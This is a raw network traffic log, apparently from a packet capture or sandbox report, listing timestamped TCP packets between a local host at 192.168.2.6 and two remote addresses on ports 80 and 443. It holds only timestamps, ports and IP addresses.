Oct 30, 2024 05:25:22.782294989 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.782299042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.782335043 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.782365084 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.782377005 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.782387972 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.782398939 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.782416105 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.782449961 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.782738924 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.782779932 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.782803059 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.782840967 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.782857895 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.782902002 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.782910109 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.782921076 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.782932043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.782951117 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.782977104 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.783282042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.783303022 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.783318043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.783332109 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.783354044 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.783364058 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.783364058 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.783366919 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.783392906 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.783411026 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.783411980 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.783421993 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.783432007 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.783458948 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.783480883 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.784087896 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.784106016 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.784116030 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.784135103 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.784158945 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.856219053 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.856240988 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.856250048 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.856259108 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.856273890 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.856290102 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.856317997 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.900998116 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901011944 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901021957 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901032925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901043892 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901084900 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.901109934 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.901560068 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901571035 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901582003 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901614904 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.901632071 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901633978 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.901643991 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901680946 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.901680946 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.901808977 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901854992 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.901865005 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901906967 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.901921988 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901932001 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901947021 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.901963949 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.901982069 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.902262926 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.902281046 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.902291059 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.902313948 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.902326107 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.902339935 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.902343988 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.902364969 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.902390003 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.902671099 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.902714968 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.902726889 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.902743101 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.902760983 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.902772903 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.902776957 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.902786016 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.902801037 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.902807951 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.902817011 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.902818918 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.902832985 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.902843952 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.902863979 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.902874947 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.975469112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.975482941 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.975500107 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.975536108 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.975555897 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.989527941 CET	443	49999	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:22.989620924 CET	443	49999	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:22.989800930 CET	49999	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:22.990421057 CET	49999	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:22.990464926 CET	443	49999	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:23.020265102 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.020277977 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.020289898 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.020318985 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.020342112 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.020622015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.020669937 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.020688057 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.020699978 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.020739079 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.020768881 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.020781040 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.020791054 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.020817041 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.020833015 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.020996094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.021004915 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.021042109 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.021058083 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.021094084 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.021106005 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.021106005 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.021117926 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.021128893 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.021145105 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.021158934 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.021439075 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.021486998 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.021519899 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.021537066 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.021548986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.021559954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.021564960 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.021572113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.021584988 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.021617889 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.022031069 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.022041082 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.022052050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.022062063 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.022077084 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.022078037 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.022087097 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.022115946 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.022406101 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.022425890 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.022438049 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.022453070 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.022464037 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.022469997 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.022485971 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.022516966 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.094521999 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.094572067 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.094590902 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.094599962 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.094616890 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.094645023 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.094645023 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.139446974 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.139461040 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.139471054 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.139482021 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.139512062 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.139552116 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.139738083 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.139746904 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.139776945 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.139781952 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.139807940 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.139811993 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.139818907 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.139827967 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.139842987 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.139869928 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.140130997 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140140057 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140150070 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140175104 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.140191078 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.140335083 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140343904 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140350103 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140382051 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.140389919 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140400887 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140424013 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.140445948 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.140762091 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140772104 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140784979 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140806913 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.140830994 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.140846014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140856028 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140865088 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140875101 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140882015 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.140886068 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.140899897 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.140923023 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.141396999 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.141407967 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.141417980 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.141442060 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.141459942 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.141474009 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.141484022 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.141493082 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.141515970 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.141537905 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.197196007 CET	50000	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:23.197247982 CET	443	50000	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:23.197326899 CET	50000	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:23.197689056 CET	50000	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:23.197710037 CET	443	50000	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:23.213717937 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.213752031 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.213763952 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.213819981 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.213996887 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.258631945 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.258644104 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.258656979 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.258690119 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.258709908 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.258815050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.258825064 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.258869886 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259047031 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259097099 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259105921 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259119034 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259149075 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259181023 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259183884 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259195089 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259205103 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259215117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259224892 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259227037 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259243965 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259269953 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259355068 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259363890 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259399891 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259413958 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259417057 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259466887 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259505987 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259517908 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259529114 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259557962 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259571075 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259772062 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259783030 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259789944 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259829044 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259852886 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259908915 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259948969 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259964943 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.259973049 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.259990931 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.260001898 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.260011911 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.260023117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.260039091 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.260051966 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.260073900 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.260086060 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.260409117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.260452986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.260457039 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.260473967 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.260485888 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.260500908 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.260508060 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.260538101 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.260538101 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.260555029 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.302437067 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.302447081 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.302510977 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.332880020 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.332904100 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.332916021 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.332926989 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.332954884 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.332982063 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.377754927 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.377769947 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.377779007 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.377825975 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.377861023 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.378504038 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378524065 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378534079 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378554106 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.378576040 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.378582954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378593922 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378624916 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.378634930 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.378644943 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378654957 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378664017 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378681898 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378690958 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378715038 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.378715038 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.378731012 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.378828049 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378868103 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.378882885 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378895044 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378942966 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.378942966 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.378972054 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378982067 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.378992081 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.379002094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.379012108 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.379025936 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.379025936 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.379056931 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.379430056 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.379441023 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.379451990 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.379487038 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.379488945 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.379499912 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.379506111 CET	80	49997	185.215.113.16	192.168.2.6
